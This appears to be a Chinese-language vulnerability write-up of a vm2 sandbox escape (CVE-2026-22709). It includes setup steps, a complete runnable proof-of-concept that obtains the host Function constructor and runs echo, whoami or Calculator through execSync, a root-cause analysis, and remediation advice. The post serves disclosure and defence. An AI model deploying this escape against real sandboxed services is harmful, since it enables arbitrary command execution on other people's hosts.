vm2 沙箱逃逸9.8分漏洞(CVE-2026-22709)

漏洞描述

vm2 库中的一个关键沙盒逃逸允许攻击者通过劫持 Function.prototype.call 来突破隔离环境。这使主机能够实现远程代码执行(RCE)。

GitHub 上超过 20 万个项目依赖 vm2
每周 npm 下载量约 100 万次
被广泛用于 SaaS 平台、在线代码运行器、聊天机器人等场景


翻了一下 n8n

https://app.unpkg.com/@n8n/n8n-nodes-langchain@2.2.3/files/package.json

可能受这个漏洞的影响

环境搭建

我们使用 npm 安装漏洞版本的 vm2:

mkdir vm2-cve-2026-22709
cd vm2-cve-2026-22709
npm init -y
npm install vm2@3.10.0

漏洞复现

创建特殊错误对象

我们首先创建一个 Error 对象,并将其 name 属性设置为 Symbol():

const error = new Error();
error.name = Symbol();

当 Node.js 尝试生成这个错误的堆栈跟踪时,由于 name 是 Symbol 而不是字符串,会抛出一个主机上下文的异常。

通过异步函数触发 Promise

创建一个异步函数返回 error.stack,这会触发堆栈跟踪生成:

const f = async () => error.stack;
const promise = f();

异步函数的返回值是 globalPromise 对象,这是漏洞利用的关键。

捕获主机异常并逃逸

在 Promise 的 catch 回调中,我们会收到一个主机上下文的 Error 对象:

promise.catch(e => {
    const Error = e.constructor;
    const Function = Error.constructor;
    const f = new Function(
        "process.mainModule.require('child_process').execSync('echo SANDBOX ESCAPED!', { stdio: 'inherit' })"
    );
    f();
});

通过构造函数链(e.constructor.constructor),我们获得了主机的 Function 构造函数,从而可以创建在主机上下文执行的函数。

一键利用 PoC

const { VM } = require("vm2");

console.log("[*] Starting vm2 sandbox escape exploit...");
console.log("[*] Target: vm2 version 3.10.0");
console.log("[*] CVE: CVE-2026-22709\n");

const code = `
const error = new Error();
error.name = Symbol();
const f = async () => error.stack;
const promise = f();
promise.catch(e => {
    const Error = e.constructor;
    const Function = Error.constructor;
    const f = new Function(
        "process.mainModule.require('child_process').execSync('echo [+] SANDBOX ESCAPED! Executing arbitrary command...', { stdio: 'inherit' })"
    );
    f();
});
`;

console.log("[*] Injecting malicious code into sandbox...");
new VM().run(code);

// Give async code time to execute
setTimeout(() => {
    console.log("\n[*] Exploit completed.");
}, 1000);

弹计算器

const { VM } = require("vm2");

console.log("[*] 目标: vm2 v3.10.0");
console.log("[*] 攻击: 从沙箱内启动主机应用程序");
console.log("");

const maliciousCode = `
// 步骤 1: 创建特殊错误对象
const error = new Error();
error.name = Symbol();

// 步骤 2: 通过异步函数触发主机异常
const f = async () => error.stack;
const promise = f();

// 步骤 3: 捕获主机异常并逃逸
promise.catch(e => {
    const Error = e.constructor;
    const Function = Error.constructor;

    // 在 macOS 上打开计算器
    const escapeFunc = new Function(
        "process.mainModule.require('child_process').execSync('open -a Calculator')"
    );

    console.log("[+] 沙箱逃逸成功!");
    console.log("[+] 正在从沙箱内启动主机计算器应用...");

    escapeFunc();

    console.log("[✓] 计算器已启动!");
    console.log("[✓] 这证明我们获得了完整的主机访问权限");
});
`;

console.log("[*] 注入恶意代码到沙箱...");
console.log("");

new VM().run(maliciousCode);

// 等待异步执行
setTimeout(() => {
    console.log("");
    console.log("╔════════════════════════════════════════════════════════════╗");
    console.log("║  如果计算器弹出,说明沙箱逃逸成功!                      ║");
    console.log("╚════════════════════════════════════════════════════════════╝");
}, 1000);


漏洞分析

创建特殊错误对象

文件位置: lib/setup-sandbox.js

当我们创建一个 name 为 Symbol 的错误对象时:

const error = new Error();
error.name = Symbol();

Node.js 在生成堆栈跟踪时会尝试将 error.name 转换为字符串。但 Symbol 类型不能隐式转换为字符串,这会导致 Node.js 内部抛出一个 TypeError 异常。

关键点:这个 TypeError 是在主机上下文中抛出的,而不是沙箱上下文。这意味着这个异常对象携带了主机的构造函数引用

通过异步函数触发 Promise

文件位置: lib/setup-sandbox.js

当我们创建异步函数并调用它时:

const f = async () => error.stack;
const promise = f();

异步函数尝试访问 error.stack,这会触发堆栈跟踪生成,进而触发上面提到的主机异常。

vm2 对 globalPromise.prototype.catch 进行了包装:

const globalPromiseCatch = globalPromise.prototype.catch;

globalPromise.prototype.catch = function _catch(onRejected) {
    resetPromiseSpecies(this);
    if (typeof onRejected === 'function') {
        const origOnRejected = onRejected;
        onRejected = function onRejected(error) {
            error = ensureThis(error);  // 应该净化错误对象
            return apply(origOnRejected, this, [error]);
        };
    }
    return globalPromiseCatch.call(this, onRejected);
};

核心点是虽然 vm2 用 ensureThis() 净化错误对象,但在主机异常条件下,这个净化机制失效了。主机异常对象被直接传递给了沙箱的 .catch() 回调。

捕获主机异常并逃逸

文件位置: 沙箱内的攻击代码

当主机异常被传递到沙箱的 .catch() 回调时,我们可以访问这个异常对象:

promise.catch(e => {
    // e 是主机上下文的 TypeError 对象
    const Error = e.constructor;           // 获取主机 Error 构造函数
    const Function = Error.constructor;    // 获取主机 Function 构造函数
});

通过构造函数链,我们获得了主机的 Function 构造函数。现在可以创建在主机上下文执行的函数:

const escapeFunc = new Function(
    "process.mainModule.require('child_process').execSync('whoami')"
);
escapeFunc();  // 在主机上下文执行,完全逃离沙箱

这个函数不受沙箱限制,可以访问 process、require 等主机对象,执行任意系统命令

漏洞修复

vm2 在 v3.10.2 中修复了此漏洞

https://github.com/patriksimek/vm2/commit/4b009c2d4b1131c01810c1205e641d614c322a29



  1. 直接原型污染攻击:攻击者无法通过重写 Function.prototype.call 来劫持主机代码的执行流
  2. 间接异常泄露攻击:即使攻击者通过 Symbol error.name 触发主机异常,由于回调调用使用了安全的
    Reflect.apply,整个调用链都不会触发可被劫持的属性查找

但是就像报告说的

如果你用的是 vm2,就停下来。说真的。该库历来因此类逃逸问题而困扰,因为在代理中包裹 V8 构造的架构本质上脆弱。这是一场打地鼠游戏,维护者无法无限期获胜。

立即缓解措施: 如果绝对无法迁移,请立即更新到 3.10.2 版本。该版本引入了 Reflect.apply 修复,可以中和特定的 Function.prototype.call 劫持向量。

长期解决方案: 迁移到 isolated-vm。它使用 V8 隔离器(一种较低级别的原语)而非 JavaScript 代理,提供了更严格的安全边界。或者,在临时的 Docker 容器或 Firecracker 微虚拟机中运行不受信任的代码。不要相信 JavaScript 库来沙框 JavaScript 代码。

参考资料

本文只做技术分享,滥用 POC,概不负责